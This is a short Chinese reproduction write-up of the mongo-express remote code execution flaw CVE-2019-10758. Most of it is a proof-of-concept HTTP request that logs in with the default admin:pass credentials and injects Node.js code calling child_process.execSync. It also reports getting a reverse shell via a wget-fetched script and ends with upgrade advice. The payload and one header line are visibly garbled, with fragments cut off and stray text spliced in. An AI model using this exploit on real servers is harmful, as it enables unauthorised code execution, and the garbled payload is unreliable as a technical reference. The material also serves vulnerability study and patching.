mongo-express远程代码执⾏漏洞(CVE-2019-10758)
0x01 简介
mongo-express是⼀款mongodb的第三⽅Web界⾯,使⽤node和express开发。如果攻击者可以成功登录,或者⽬标服务器没有修改默认的账号密码(admin:pass),则可以执⾏任意node.js代码。
0x02 影响版本
mongo-express 0.53.0
前提条件:知道Mongo的账号密码,或者未授权
0x03 漏洞复现
环境搭建
docker-compose up -d
复现环境
mongo-express 0.53.0
MongoDB Version 3.4.24
poc
POST /checkValid HTTP/1.1
Host: you-ip
cve漏洞库Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
structor("return process")().quire("child_process").execSync("touch /tmp/success")
进⼊docker环境,发现⽬录创建成功
0x04 反弹shell
通过wget 下载shell
执⾏shell
反弹shell成功
0x05 修复建议
升级mongo-express到0.54.0或更⾼版本。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论